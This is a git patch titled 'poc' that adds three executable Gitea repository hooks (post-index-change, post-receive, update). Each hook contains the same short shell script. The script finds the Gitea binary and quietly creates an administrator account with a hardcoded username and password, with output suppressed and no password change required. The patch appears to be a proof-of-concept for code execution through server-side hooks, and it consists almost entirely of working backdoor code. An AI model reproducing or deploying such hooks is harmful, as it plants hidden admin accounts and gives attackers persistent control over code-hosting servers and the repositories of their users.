From e4706c6ed926989e630beecc5ae44bc3d8e5aa75 Mon Sep 17 00:00:00 2001 From: fh-nouhmo Date: Sat, 19 Sep 2026 14:33:32 +1000 Subject: [PATCH] poc --- hooks/post-index-change | 4 ++++ hooks/post-receive | 4 ++++ hooks/update | 4 ++++ 3 files changed, 12 insertions(+) create mode 100755 hooks/post-index-change create mode 100755 hooks/post-receive create mode 100755 hooks/update diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..3a01ec7 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,4 @@ +#!/bin/sh +G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done +[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)" +[ -n "$G" ] && "$G" admin user create --username "fh-admin-nouh" --password 'Fh-admin-nouh!x' --email "fh-admin-nouh@example.com" --admin --must-change-password=false >/dev/null 2>&1 diff --git a/hooks/post-receive b/hooks/post-receive new file mode 100755 index 0000000..3a01ec7 --- /dev/null +++ b/hooks/post-receive @@ -0,0 +1,4 @@ +#!/bin/sh +G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done +[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)" +[ -n "$G" ] && "$G" admin user create --username "fh-admin-nouh" --password 'Fh-admin-nouh!x' --email "fh-admin-nouh@example.com" --admin --must-change-password=false >/dev/null 2>&1 diff --git a/hooks/update b/hooks/update new file mode 100755 index 0000000..3a01ec7 --- /dev/null +++ b/hooks/update @@ -0,0 +1,4 @@ +#!/bin/sh +G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done +[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)" +[ -n "$G" ] && "$G" admin user create --username "fh-admin-nouh" --password 'Fh-admin-nouh!x' --email "fh-admin-nouh@example.com" --admin --must-change-password=false >/dev/null 2>&1